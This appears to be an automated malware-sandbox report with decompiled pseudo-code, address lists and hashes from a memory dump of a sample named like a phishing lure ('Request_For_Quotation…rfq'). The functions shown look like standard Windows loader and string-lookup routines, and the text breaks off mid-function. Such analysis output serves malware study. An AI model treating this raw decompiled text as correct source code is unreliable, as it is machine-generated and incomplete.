						_t428 =  *((intOrPtr*)(_t418 + 0x10)) - 3;
						if(_t428 == 0) {
							goto L43;
						}
						goto L8;
					}
				}
				L1:
				_t257 = 0x7ffe0385;
				goto L2;
			}

0x00a4701d
0x00a47022
0x00a47027
0x00a4702c
0x00a47032
0x00a4703b
0x00a47044
0x00a4704d
0x00a47056
0x00a4705f
0x00a47067
0x00a4706d
0x00a47073
0x00a47079
0x00a4707f
0x00a47085
0x00a4708b
0x00a47093
0x00a47099
0x00a4709f
0x00a470a7
0x00a470a8
0x00a470b1
0x00a470b2
0x00a470b9
0x00a470c5
0x00a470c6
0x00a470cd
0x00a470d4
0x00a470e4
0x00a470e9
0x00a8841d
0x00a88420
0x00000000
0x00000000
0x00a8842f
0x00a470f4
0x00a470f9
0x00a88439
0x00a8843e
0x00a88440
0x00a88452
0x00a88442
0x00a8844b
0x00a8844b
0x00a88460
0x00a88465
0x00a88465
0x00a470ff
0x00a47103
0x00a4710d
0x00a47342
0x00a47348
0x00a4734c
0x00a47350
0x00a47356
0x00a475ef
0x00a475f1
0x00000000
0x00000000
0x00a475f7
0x00a4735e
0x00a4735e
0x00a47364
0x00a4736b
0x00000000
0x00a4736b
0x00a4735c
0x00a4735c
0x00a4735c
0x00000000
0x00a47113
0x00a47113
0x00a47113
0x00a47118
0x00a473cf
0x00a473d1
0x00a473d5
0x00000000
0x00000000
0x00a473db
0x00a473df
0x00000000
0x00000000
0x00a473e5
0x00a473eb
0x00a8849c
0x00a473f1
0x00a473f1
0x00a473f1
0x00a473f5
0x00a473f8
0x00a475fe
0x00a47601
0x00000000
0x00000000
0x00a47607
0x00a4760e
0x00000000
0x00000000
0x00000000
0x00a473fe
0x00a473fe
0x00a47402
0x00a47404
0x00a47475
0x00a47478
0x00a884a8
0x00a884ab
0x00000000
0x00000000
0x00a884b6
0x00a884b9
0x00000000
0x00000000
0x00a884bf
0x00a4747e
0x00a4747e
0x00a47481
0x00a47484
0x00000000
0x00a47484
0x00a47406
0x00a47406
0x00a47408
0x00a47409
0x00a4740b
0x00a47411
0x00a47417
0x00a4741c
0x00a47422
0x00a47424
0x00a474d8
0x00a4743d
0x00a4743d
0x00000000
0x00a4743d
0x00a4742a
0x00a4742f
0x00a88494
0x00a88496
0x00a47313
0x00a47313
0x00a47318
0x00a47318
0x00a47321
0x00a47326
0x00a8876e
0x00a88771
0x00a88780
0x00a88780
0x00a88771
0x00a4732e
0x00a8878b
0x00a88790
0x00a88792
0x00a8879d
0x00a8879d
0x00a8879d
0x00a887ac
0x00000000
0x00a47334
0x00a47334
0x00a4733a
0x00a4733f
0x00a4733f
0x00a4732e
0x00a47437
0x00a47437
0x00000000
0x00a47437
0x00a473f8
0x00a4711e
0x00a47129
0x00a884c4
0x00000000
0x00a884c4
0x00a47131
0x00a47135
0x00a47137
0x00a4713c
0x00a47145
0x00a4714e
0x00a47158
0x00a47161
0x00a4716a
0x00a47373
0x00a47373
0x00a47376
0x00a47378
0x00a47468
0x00a4746a
0x00000000
0x00000000
0x00a4717a
0x00a4717a
0x00a47180
0x00a47186
0x00a47186
0x00a47189
0x00a4718d
0x00a47194
0x00a471a5
0x00a4744b
0x00a47452
0x00a47453
0x00a47454
0x00a47455
0x00a47456
0x00a4745b
0x00a4745d
0x00a471ab
0x00000000
0x00a47307
0x00a47307
0x00000000
0x00a471ab
0x00000000
0x00a47463
0x00a471ab
0x00a471b4
0x00a471be
0x00a471c0
0x00a471c6
0x00a471cc
0x00a471d2
0x00a471d4
0x00a471da
0x00a471e2
0x00a471e9
0x00a471eb
0x00a471eb
0x00a471fa
0x00000000
0x00000000
0x00a47202
0x00a4748b
0x00a47492
0x00a47499
0x00a474a1
0x00a474a4
0x00a474df
0x00a474e7
0x00a474b4
0x00a474b4
0x00a474b9
0x00a885ea
0x00a885ea
0x00000000
0x00a885ea
0x00a474e9
0x00a474f0
0x00a474f2
0x00000000
0x00000000
0x00a474ff
0x00a47506
0x00a4750d
0x00a4750e
0x00a47514
0x00a4751f
0x00a47521
0x00a47527
0x00a47529
0x00a884ec
0x00a884f2
0x00a88500
0x00a88500
0x00a88505
0x00a885e4
0x00a885e4
0x00000000
0x00a885e4
0x00a884f4
0x00a884fa
0x00000000
0x00000000
0x00000000
0x00a884fa
0x00a47532
0x00a47538
0x00a4753f
0x00a88510
0x00a88511
0x00a8851c
0x00a8851d
0x00a88528
0x00a8852a
0x00a8852a
0x00a47545
0x00a47548
0x00a4754d
0x00a47557
0x00a4755d
0x00a47564
0x00a47565
0x00a47566
0x00a4756c
0x00a47577
0x00a47579
0x00a4757f
0x00a47585
0x00a47587
0x00000000
0x00000000
0x00000000
0x00a4754f
0x00a4754f
0x00a47551
0x00a886ec
0x00a886f2
0x00a472de
0x00a472e0
0x00a475bc
0x00a475c1
0x00a475d7
0x00a475d7
0x00a475c1
0x00a472e8
0x00a473c4
0x00a473c4
0x00000000
0x00a472ee
0x00a472ee
0x00a472f4
0x00a472f6
0x00a472fe
0x00a88708
0x00a8870f
0x00a88749
0x00a88749
0x00a8874b
0x00a88751
0x00a88761
0x00a88761
0x00a88753
0x00a88753
0x00a88759
0x00a88759
0x00a88763
0x00a47306
0x00a47306
0x00000000
0x00a47306
0x00a88711
0x00a88718
0x00000000
0x00000000
0x00a88720
0x00a88725
0x00a88727
0x00000000
0x00000000
0x00a88729
0x00a88731
0x00a88732
0x00a88738
0x00a8873e
0x00000000
0x00a8873e
0x00a47304
0x00a47304
0x00000000
0x00a47304
0x00a472e8
0x00000000
0x00a47551
0x00a4754d
0x00a474a6
0x00a474ae
0x00000000
0x00000000
0x00000000
0x00a474ae
0x00a47208
0x00a47208
0x00a47211
0x00a47592
0x00a47217
0x00a4721d
0x00a4721d
0x00a47223
0x00a47228
0x00a4759e
0x00a4759e
0x00a4722e
0x00a47236
0x00a47238
0x00a47238
0x00a4723e
0x00a47246
0x00a4724c
0x00a475a6
0x00a47252
0x00a47252
0x00a47258
0x00a47258
0x00a47260
0x00a47266
0x00a475b1
0x00a4726c
0x00a4726c
0x00a47272
0x00a47272
0x00a47295
0x00a472a8
0x00a472aa
0x00a472b7
0x00a88539
0x00a8853e
0x00000000
0x00000000
0x00a88544
0x00a8854a
0x00a8854c
0x00000000
0x00000000
0x00a88552
0x00a88558
0x00a8855a
0x00000000
0x00000000
0x00a88560
0x00a88562
0x00000000
0x00000000
0x00a88568
0x00a8856e
0x00a88570
0x00a88576
0x00a88572
0x00a88572
0x00a88572
0x00a8858f
0x00a88591
0x00a88597
0x00a88599
0x00a885a5
0x00a885a8
0x00a885ae
0x00000000
0x00000000
0x00a885b4
0x00000000
0x00a472bd
0x00a472bd
0x00a472bd
0x00a472c3
0x00a472c5
0x00a473b1
0x00a473b1
0x00a473b7
0x00a473b9
0x00a472db
0x00a472db
0x00000000
0x00a472db
0x00a885f0
0x00a885f7
0x00a885fa
0x00a8860d
0x00a88618
0x00a88633
0x00a88635
0x00a8863b
0x00a8863d
0x00000000
0x00000000
0x00a8864a
0x00a8864a
0x00a8864c
0x00000000
0x00a885fc
0x00a885fc
0x00a885fe
0x00a88652
0x00a88652
0x00a8865a
0x00a8865b
0x00a8865e
0x00a88660
0x00a886b7
0x00a886b8
0x00a886ba
0x00a886c4
0x00000000
0x00a886c4
0x00a88662
0x00a88669
0x00000000
0x00000000
0x00a8866b
0x00a8867c
0x00a88681
0x00a88691
0x00a88693
0x00a8869b
0x00a8869f
0x00a886a6
0x00000000
0x00a886a6
0x00000000
0x00a885fa
0x00a472cb
0x00a472cd
0x00a885d1
0x00a885d6
0x00a885d8
0x00a886fd
0x00000000
0x00a886fd
0x00a885de
0x00000000
0x00a885de
0x00a472d5
0x00000000
0x00000000
0x00000000
0x00a472d5
0x00a472b7
0x00a886ac
0x00000000
0x00a886ac
0x00a4737e
0x00a4737e
0x00a47380
0x00a884d0
0x00a884d0
0x00a4738f
0x00a47397
0x00a4739d
0x00a473a4
0x00a473a6
0x00000000
0x00a473ac
0x00a884d8
0x00a884db
0x00a884e1
0x00000000
0x00a884e7
0x00000000
0x00a884e7
0x00000000
0x00a884e1
0x00a473a6
0x00a47170
0x00a47174
0x00000000
0x00000000
0x00000000
0x00a47174
0x00a4710d
0x00a470ef
0x00a470ef
0x00000000

Strings

#, xrefs: 00A886BA
LdrpResSearchResourceMappedFile Exit, xrefs: 00A470D4
MUI, xrefs: 00A475E1
LdrpResSearchResourceMappedFile Enter, xrefs: 00A470B9

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: #$LdrpResSearchResourceMappedFile Enter$LdrpResSearchResourceMappedFile Exit$MUI
API String ID: 0-3266796247
Opcode ID: 1d00a486638a0697a31b3cea6fa4b717ef91f9131edafed8b1d105bcd964fff9
Instruction ID: fb3938a5addb96000c145805e318ff485456aee9fadd95578b00f44338c11da5
Opcode Fuzzy Hash: 1d00a486638a0697a31b3cea6fa4b717ef91f9131edafed8b1d105bcd964fff9
Instruction Fuzzy Hash: B132C0399082A98BDF36DF18CC84BEDB7B5AF85340F2440E9E849A7251DB749E81DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00AA34A0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00AA34A0(void* __ebx, intOrPtr __edi, signed int __esi, void* __eflags) {
				signed short* _t37;
				void* _t40;
				signed short _t56;
				signed int _t57;
				signed short* _t78;
				char* _t81;
				void* _t86;

				_t85 = __esi;
				_t84 = __edi;
				_push(0x68);
				_push(0xaf0870);
				E00A6D0E8(__ebx, __edi, __esi);
				_t78 =  *(_t86 + 8);
				_t37 =  *(_t86 + 0xc);
				 *(_t86 - 0x50) = _t37;
				 *(_t86 - 0x4c) = _t37;
				if(( *0xb05cac & 0x00000004) == 0) {
					L17:
					L18:
					return E00A6D130(_t78, _t84, _t85);
				}
				_t40 = E00A42EB0(_t78[2]);
				if(_t40 == 0 || _t40 == 3 || _t40 == 5) {
					goto L17;
				} else {
					_t84 = 0;
					_t85 = E00A34120(0, _t78, 0, _t86 - 0x5c, 0, 0, 0);
					if(_t85 >= 0) {
						 *((intOrPtr*)(_t86 - 0x74)) = 0x18;
						 *((intOrPtr*)(_t86 - 0x70)) = 0;
						 *((intOrPtr*)(_t86 - 0x68)) = 0x40;
						 *((intOrPtr*)(_t86 - 0x6c)) = _t86 - 0x5c;
						 *((intOrPtr*)(_t86 - 0x64)) = 0;
						 *((intOrPtr*)(_t86 - 0x60)) = 0;
						_push(_t86 - 0x48);
						_push(_t86 - 0x74);
						_t85 = E00A598D0();
						L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t86 - 0x58)));
					}
					if( !_t85 < 0) {
						_t85 = L00A34620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t84, ( *_t78 & 0x0000ffff) + 0xa);
						 *(_t86 - 0x54) = _t85;
						if(_t85 != 0) {
							_t23 = _t85 + 0xa; // 0xa
							E00A5F3E0(_t23, _t78[2],  *_t78 & 0x0000ffff);
							 *((short*)(_t85 + 8)) =  *_t78;
							E00A32280( *_t78, 0xb08610);
							 *((intOrPtr*)(_t86 - 4)) = _t84;
							_t56 = ( *0xb05764 & 0x0000ffff) + 2 + ( *_t78 & 0x0000ffff);
							 *(_t86 - 0x78) = _t56;
							if(_t56 <= 0xfffe) {
								 *0xb05764 = _t56;
								_t57 = "\\Wow\\Wow"; // 0x776f575c
								_t81 = "\\Wow\\Wow";
								if( *(_t57 + 4) != _t81) {
									_t81 = 3;
									asm("int 0x29");
								}
								 *_t85 = _t57;
								 *(_t85 + 4) = _t81;
								 *(_t57 + 4) = _t85;
								"\\Wow\\Wow" = _t85;
								 *((intOrPtr*)(_t86 - 4)) = 0xfffffffe;
								_t78 =  *(_t86 - 0x50);
								E00A32280(L00AA3650(), 0xb08608);
								 *(_t86 - 0x4c) = E00A4F6B2(0xb06e40);
								L00A2FFB0(_t78, _t84, 0xb08608);
								_t62 =  *(_t86 - 0x4c);
								if( *(_t86 - 0x4c) != 0) {
									L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t84, _t62);
								}
								 *_t78 = _t85;
							} else {
								E00A5D9D0(_t86, 0xb0d360, _t86 - 0x10, 0xfffffffe);
							}
						}
					}
					goto L18;
				}
			}

0x00aa34a0
0x00aa34a0
0x00aa34a0
0x00aa34a2
0x00aa34a7
0x00aa34ac
0x00aa34af
0x00aa34b2
0x00aa34b5
0x00aa34bf
0x00aa365b
0x00aa3660
0x00aa3665
0x00aa3665
0x00aa34c8
0x00aa34cf
0x00000000
0x00aa34e7
0x00aa34e7
0x00aa34fa
0x00aa34fe
0x00aa3500
0x00aa3507
0x00aa350a
0x00aa3514
0x00aa3517
0x00aa351a
0x00aa3520
0x00aa3524
0x00aa352a
0x00aa3539
0x00aa3539
0x00aa3544
0x00aa3563
0x00aa3565
0x00aa356a
0x00aa357d
0x00aa3581
0x00aa358c
0x00aa3595
0x00aa359a
0x00aa35aa
0x00aa35ac
0x00aa35b4
0x00aa35d3
0x00aa35d9
0x00aa35de
0x00aa35e6
0x00aa35ea
0x00aa35eb
0x00aa35eb
0x00aa35ed
0x00aa35ef
0x00aa35f2
0x00aa35f5
0x00aa35fb
0x00aa3602
0x00aa360f
0x00aa361e
0x00aa3626
0x00aa362b
0x00aa3630
0x00aa363d
0x00aa363d
0x00aa3642
0x00aa35b6
0x00aa35c1
0x00aa35c9
0x00aa35b4
0x00aa356a
0x00000000
0x00aa3544

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 00AA35C1

Strings

@, xrefs: 00AA350A
\Wow\Wow, xrefs: 00AA35D9, 00AA35DE, 00AA35F5

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: CallFilterFunc@8
String ID: @$\Wow\Wow
API String ID: 4062629308-816453441
Opcode ID: a68684fa13aeb1e9527ea86c801a50c0a9834bc2a78f6a45436c4598c79f12d5
Instruction ID: 89542554c071f13b8d1b772f571abc60d71fa41a481fb402b05ddbcf9957f345
Opcode Fuzzy Hash: a68684fa13aeb1e9527ea86c801a50c0a9834bc2a78f6a45436c4598c79f12d5
Instruction Fuzzy Hash: 97415D72D00619AFCF21DFA9DA41A6EBBF8EF55B00F14416AF905DB2A1D770CA44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A33360, Relevance: 5.4, Strings: 4, Instructions: 355
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E00A33360(signed short* __ecx, intOrPtr __edx, signed short* _a4, intOrPtr* _a8, unsigned int _a12, signed int* _a16) {
				signed int _v8;
				char _v32;
				char _v33;
				signed int _v40;
				signed short* _v44;
				signed short* _v48;
				signed char _v52;
				intOrPtr _v56;
				short _v58;
				char _v60;
				signed short _v64;
				unsigned int _v68;
				intOrPtr _v72;
				signed int* _v76;
				intOrPtr* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t144;
				short _t165;
				void* _t171;
				signed int _t173;
				signed int* _t177;
				signed int _t178;
				short _t181;
				signed int _t187;
				signed short* _t193;
				signed int _t198;
				signed int _t199;
				signed int _t200;
				signed int _t206;
				signed short _t207;
				signed short _t208;
				signed char _t214;
				signed char _t220;
				char _t221;
				intOrPtr* _t223;
				signed int _t225;
				void* _t226;
				unsigned int _t229;
				signed short* _t231;
				signed int* _t233;
				signed int _t237;
				void* _t238;

				_v8 =  *0xb0d360 ^ _t237;
				_t193 = __ecx;
				_v48 = _a4;
				_t233 = _a16;
				_t229 = _a12;
				_v72 = __edx;
				_v44 = __ecx;
				_v80 = _a8;
				_v68 = _t229;
				_v40 = _t233;
				_v33 = 1;
				if((__ecx[8] & 0x00000001) == 0) {
					_t220 = 0;
				} else {
					_t220 = 1;
				}
				_v52 = _t220;
				if( *_t193 != 0x64487353) {
					L71:
					_t140 = 0xc0150003;
					goto L32;
				} else {
					if(_t193[0xa] == 0) {
						L31:
						_t140 = 0xc0150008;
						goto L32;
					} else {
						_t198 = _t193[0xe];
						if(_t198 == 0xffffffff) {
							_t221 = 0;
							goto L21;
						} else {
							if( *_t229 == _t198) {
								L20:
								_t221 = _v33;
								goto L21;
							} else {
								_t187 = 0;
								if(_v48 == 0 || _t233 == 0) {
									_t140 = 0xc000000d;
									goto L18;
								} else {
									_t231 = _v48;
									_t193 = _t231[2];
									 *_t233 = 0;
									_t229 = ( *_t231 & 0x0000ffff) >> 1;
									if(_t198 > 1) {
										L65:
										if(E00A2FAB0(_t198, _v48, _v52, 0,  &_v76) < 0) {
											goto L32;
										} else {
											_t193 = _v44;
											L00AA5720(0x33, 0, "RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.\n", _t193[0xe]);
											_t238 = _t238 + 0x10;
											_t221 = 0;
											L21:
											_v33 = _t221;
											if(_t193[4] != 1) {
												_t220 = 0;
											}
											_t199 = _t193[0x10];
											asm("sbb al, al");
											if((_t220 &  ~_t199) == 0) {
												if(_t220 == 0 || (_t193[8] & 0x00000002) == 0) {
													_t229 = _v44;
													_t193 = _t193[0xc] + _t229;
													_t233 =  *(_t229 + 0x14);
													if(_t233 != 0) {
														_t200 = _v40;
														do {
															_t144 = _t193[4];
															_v60 = _t144;
															_v58 = _t144;
															_v56 = _t193[2] + _t229;
															if(_t220 == 0 ||  *_t193 ==  *_t200) {
																if(L00A29660(_v48,  &_v60, _v52) == 0) {
																	goto L52;
																} else {
																	_t220 = _v33;
																	_t200 = _v40;
																	goto L81;
																}
															} else {
																goto L81;
															}
															goto L83;
															L81:
															_t193 =  &(_t193[0xc]);
															_t233 = _t233 - 1;
														} while (_t233 != 0);
													}
													goto L31;
												} else {
													_t205 = _t193[0xa];
													_t233 = _t193 + _t193[0xc];
													_t65 = _t205 - 1; // -1
													_t229 = _t233 + (_t65 + _t65 * 2) * 8;
													_v32 =  *_v40;
													_t193 = E00A5EC60(_t193[0xa],  &_v32, _t233, _t193[0xa], 0x18, 0xa48c30);
													if(_t193 == 0) {
														goto L31;
													} else {
														if(_t193 != _t233) {
															_t171 =  *_v40;
															while( *_t193 == _t171) {
																_t193 = _t193 - 0x18;
																if(_t193 != _t233) {
																	continue;
																}
																goto L42;
															}
														}
														L42:
														_t233 =  *_v40;
														if( *_t193 != _t233) {
															_t193 =  &(_t193[0xc]);
														}
														while(1) {
															_t165 = _t193[4];
															_v60 = _t165;
															_v58 = _t165;
															_v56 = _v44 + _t193[2];
															if(L00A29660(_v48,  &_v60, _v52) == 0) {
																break;
															}
															_t193 =  &(_t193[0xc]);
															if(_t193 > _t229) {
																goto L31;
															} else {
																if( *_t193 == _t233) {
																	continue;
																} else {
																	break;
																}
															}
															goto L83;
														}
														if(_t193 > _t229) {
															goto L31;
														} else {
															if( *_t193 == _t233) {
																goto L51;
															} else {
																goto L31;
															}
														}
													}
												}
											} else {
												_t233 = _t193 + _t199;
												_t206 =  *_v40;
												_t173 = _t206;
												_v68 = _t206;
												if( *_t233 != 0xb) {
													_t225 = _t173 %  *_t233;
												} else {
													_t225 = _t173 % 0xb;
												}
												_t41 =  &(_t233[1]); // 0x1cc
												_t229 = 0;
												_v40 = _t225;
												_t226 =  *_t41 + _t225 * 8;
												_t220 = _t226 + _t193;
												_t177 =  *((intOrPtr*)(_t226 +  &(_t193[2]))) + _t193;
												_v64 = _t220;
												_v76 = _t177;
												if( *_t220 <= 0) {
													goto L31;
												} else {
													_t233 = _t177;
													while(1) {
														_t178 =  *_t233;
														if(_t178 > _v72) {
															break;
														}
														_t193 = _t193 + _t178;
														if(_v33 == 0 ||  *_t193 == _t206) {
															_t207 = _t193[2];
															if(_t207 > _v72) {
																_push(_v76);
																_push(_t220);
																_push(_v40);
																_push(_v44);
																_push(_t207);
																L00AA5720(0x33, 0, "SXS: String hash table entry at %p has invalid key offset (= %ld)\n   Header = %p; Index = %lu; Bucket = %p; Chain = %p\n", _t193);
																_t140 = 0xc0150003;
																goto L32;
															} else {
																_t181 = _t193[4];
																_v60 = _t181;
																_v58 = _t181;
																_v56 = _v44 + _t207;
																if(L00A29660(_v48,  &_v60, _v52) != 0) {
																	_t206 = _v68;
																	_t220 = _v64;
																	goto L30;
																} else {
																	L51:
																	_t229 = _v44;
																	L52:
																	if(_t193 == 0 || _t193[6] == 0) {
																		goto L31;
																	} else {
																		_t223 = _v80;
																		if(_t223 != 0) {
																			 *((intOrPtr*)(_t223 + 4)) =  *((intOrPtr*)(_t229 + 0xc));
																			 *((intOrPtr*)(_t223 + 8)) = _t193[6] + _t229;
																			 *(_t223 + 0xc) = _t193[8];
																			if(_t223 + 0x28 <=  *_t223 + _t223) {
																				 *(_t223 + 0x24) = _t193[0xa];
																			}
																		}
																		return L00A5B640(0, _t193, _v8 ^ _t237, _t223, _t229, _t233);
																	}
																}
															}
														} else {
															L30:
															_t193 = _v44;
															_t229 = _t229 + 1;
															_t233 =  &(_t233[1]);
															if(_t229 <  *_t220) {
																continue;
															} else {
																goto L31;
															}
														}
														goto L83;
													}
													_push(_t178);
													L00AA5720(0x33, 0, "SXS: String hash collision chain offset at %p (= %ld) out of bounds\n", _t233);
													goto L71;
												}
											}
										}
									} else {
										if(_t220 == 0) {
											if(_t229 != 0) {
												do {
													_t198 =  *_t193 & 0x0000ffff;
													_t193 =  &(_t193[1]);
													_t187 = _t187 * 0x1003f + _t198;
													_t229 = _t229 - 1;
												} while (_t229 != 0);
											}
										} else {
											if(_t229 != 0) {
												_t220 =  *0xb06d5c; // 0x7ffd0654
												do {
													_t208 =  *_t193 & 0x0000ffff;
													_t193 =  &(_t193[1]);
													_t229 = _t229 - 1;
													_v64 = _t208;
													if(_t208 < 0x61) {
														L34:
														_t198 = _t208 & 0x0000ffff;
													} else {
														if(_t208 > 0x7a) {
															_t235 = _t208 & 0x0000ffff;
															_t214 =  *0xb06d5c; // 0x7ffd0654
															_t220 =  *0xb06d5c; // 0x7ffd0654
															_t208 =  *((intOrPtr*)(_t220 + (( *(_t214 + (( *(_t220 + ((_t208 & 0x0000ffff) >> 8) * 2) & 0x0000ffff) + ((_t208 & 0x0000ffff) >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t235 & 0x0000000f)) * 2)) + _v64;
															goto L34;
														} else {
															_t198 = (_t208 & 0x0000ffff) - 0x20;
														}
													}
													_t187 = _t187 * 0x1003f + _t198;
												} while (_t229 != 0);
												_t233 = _v40;
											}
										}
										_t193 = _v44;
										_t229 = _v68;
										 *_t233 = _t187;
										_t140 = 0;
										L18:
										if(_t140 < 0) {
											if(_t140 != 0xc000000d) {
												L32:
												return L00A5B640(_t140, _t193, _v8 ^ _t237, _t220, _t229, _t233);
											} else {
												goto L65;
											}
										} else {
											 *_t229 = _t193[0xe];
											goto L20;
										}
									}
								}
							}
						}
					}
				}
				L83:
			}

0x00a3336f
0x00a33376
0x00a33378
0x00a3337f
0x00a33387
0x00a3338a
0x00a3338d
0x00a33390
0x00a33393
0x00a33396
0x00a33399
0x00a3339d
0x00a7d994
0x00a333a3
0x00a333a3
0x00a333a3
0x00a333ab
0x00a333ae
0x00a7da5a
0x00a7da5a
0x00000000
0x00a333b4
0x00a333b8
0x00a334ea
0x00a334ea
0x00000000
0x00a333be
0x00a333be
0x00a333c4
0x00a7d99b
0x00000000
0x00a333ca
0x00a333cc
0x00a33458
0x00a33458
0x00000000
0x00a333d2
0x00a333d2
0x00a333d7
0x00a7d9c2
0x00000000
0x00a333e5
0x00a333e5
0x00a333e8
0x00a333eb
0x00a333f0
0x00a333f5
0x00a7d9d7
0x00a7d9ea
0x00000000
0x00a7d9f0
0x00a7d9f0
0x00a7d9ff
0x00a7da04
0x00a7da07
0x00a3345b
0x00a33461
0x00a33464
0x00a7da0e
0x00a7da0e
0x00a3346a
0x00a33471
0x00a33475
0x00a3353f
0x00a7da7c
0x00a7da82
0x00a7da84
0x00a7da89
0x00a7da8f
0x00a7da92
0x00a7da92
0x00a7da96
0x00a7da9a
0x00a7daa3
0x00a7daa8
0x00a7dac1
0x00000000
0x00a7dac7
0x00a7dac7
0x00a7daca
0x00000000
0x00a7daca
0x00000000
0x00000000
0x00000000
0x00000000
0x00a7dacd
0x00a7dacd
0x00a7dad0
0x00a7dad0
0x00a7dad5
0x00000000
0x00a3354f
0x00a3354f
0x00a33555
0x00a3355c
0x00a33562
0x00a3356e
0x00a3357a
0x00a33581
0x00000000
0x00a33587
0x00a33589
0x00a3358e
0x00a33590
0x00a33594
0x00a33599
0x00000000
0x00000000
0x00000000
0x00a33599
0x00a33590
0x00a3359b
0x00a3359e
0x00a335a2
0x00a335a4
0x00a335a4
0x00a335b0
0x00a335b0
0x00a335b7
0x00a335bb
0x00a335c5
0x00a335d6
0x00000000
0x00000000
0x00a7da64
0x00a7da69
0x00000000
0x00a7da6f
0x00a7da71
0x00000000
0x00a7da77
0x00000000
0x00a7da77
0x00a7da71
0x00000000
0x00a7da69
0x00a335de
0x00000000
0x00a335e4
0x00a335e6
0x00000000
0x00a335e8
0x00000000
0x00a335e8
0x00a335e6
0x00a335de
0x00a33581
0x00a3347b
0x00a3347e
0x00a33486
0x00a33488
0x00a3348a
0x00a3348d
0x00a335ed
0x00a33493
0x00a33498
0x00a33498
0x00a3349a
0x00a3349d
0x00a3349f
0x00a334a2
0x00a334a9
0x00a334ab
0x00a334ad
0x00a334b0
0x00a334b5
0x00000000
0x00a334b7
0x00a334b7
0x00a334c0
0x00a334c0
0x00a334c5
0x00000000
0x00000000
0x00a334cb
0x00a334d1
0x00a335f4
0x00a335fa
0x00a7da20
0x00a7da23
0x00a7da24
0x00a7da27
0x00a7da2a
0x00a7da35
0x00a7da3d
0x00000000
0x00a33600
0x00a33600
0x00a33607
0x00a3360b
0x00a33614
0x00a33625
0x00a7da15
0x00a7da18
0x00000000
0x00a3362b
0x00a3362b
0x00a3362b
0x00a3362e
0x00a33630
0x00000000
0x00a33640
0x00a33640
0x00a33645
0x00a3364c
0x00a33656
0x00a3365c
0x00a33664
0x00a33669
0x00a33669
0x00a33664
0x00a3367e
0x00a3367e
0x00a33630
0x00a33625
0x00a334df
0x00a334df
0x00a334df
0x00a334e2
0x00a334e3
0x00a334e8
0x00000000
0x00000000
0x00000000
0x00000000
0x00a334e8
0x00000000
0x00a334d1
0x00a7da47
0x00a7da52
0x00000000
0x00a7da57
0x00a334b5
0x00a33475
0x00a333fb
0x00a333fd
0x00a7d9a4
0x00a7d9aa
0x00a7d9aa
0x00a7d9ad
0x00a7d9b6
0x00a7d9b8
0x00a7d9b8
0x00a7d9bd
0x00a33403
0x00a33405
0x00a33407
0x00a33410
0x00a33410
0x00a33413
0x00a33416
0x00a33417
0x00a3341d
0x00a33535
0x00a33535
0x00a33423
0x00a33426
0x00a33502
0x00a3351b
0x00a33525
0x00a33531
0x00000000
0x00a3342c
0x00a3342f
0x00a3342f
0x00a33426
0x00a33438
0x00a3343a
0x00a3343e
0x00a3343e
0x00a33405
0x00a33441
0x00a33444
0x00a33447
0x00a33449
0x00a3344b
0x00a3344d
0x00a7d9d1
0x00a334f2
0x00a334ff
0x00000000
0x00000000
0x00000000
0x00a33453
0x00a33456
0x00000000
0x00a33456
0x00a3344d
0x00a333f5
0x00a333d7
0x00a333cc
0x00a333c4
0x00a333b8
0x00000000

Strings

SXS: String hash collision chain offset at %p (= %ld) out of bounds, xrefs: 00A7DA49
SXS: String hash table entry at %p has invalid key offset (= %ld) Header = %p; Index = %lu; Bucket = %p; Chain = %p, xrefs: 00A7DA2C
SsHd, xrefs: 00A333A5
RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section., xrefs: 00A7D9F6

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.$SXS: String hash collision chain offset at %p (= %ld) out of bounds$SXS: String hash table entry at %p has invalid key offset (= %ld) Header = %p; Index = %lu; Bucket = %p; Chain = %p$SsHd
API String ID: 0-2905229100
Opcode ID: 2583045dfec8c586a94df5c1753727c374bc6377eac6a40da995b708231f039c
Instruction ID: c79709a3ba4343b772d262b6428bcd09d4eb8340a5cdada216300ddb8cd4ef0e
Opcode Fuzzy Hash: 2583045dfec8c586a94df5c1753727c374bc6377eac6a40da995b708231f039c
Instruction Fuzzy Hash: EED19E72A04219DFCF25CF98D8D1AADB7B5FF48311F18806AE905AB251D731EE44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A3A830, Relevance: 5.4, Strings: 4, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E00A3A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
